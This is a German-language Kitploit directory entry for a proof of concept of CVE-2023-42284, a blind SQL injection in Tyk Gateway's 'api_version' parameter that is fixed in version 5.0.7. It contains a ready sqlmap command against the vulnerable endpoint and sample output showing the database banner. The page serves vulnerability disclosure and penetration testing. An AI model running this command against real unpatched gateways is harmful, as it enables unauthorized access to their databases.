Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-42284 — Proof of Concept für CVE-2023-42284 in Tyk Gateway | Kitploit
Tools/GitHubGitHub/andreysanyuk/cve-2023-42284
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubandreysanyuk/cve-2023-42284

CVE-2023-42284

Proof of Concept für CVE-2023-42284 in Tyk Gateway

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Haftungsausschluss

Nur zu Bildungszwecken!

Einzelheiten

Proof of Concept für CVE-2023-42284. Tyk Gateway ist anfällig für SQL-Injection. Behoben in Version 5.0.7.

Der URL-Parameter 'api_version' von "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..." ist anfällig für Blind-SQL-Injection.

Ausnutzung

Verwenden Sie sqlmap mit den folgenden Parametern:

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner

Das Banner der SQL-Datenbank wird in der Antwort zurückgegeben:

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Tool herunterladen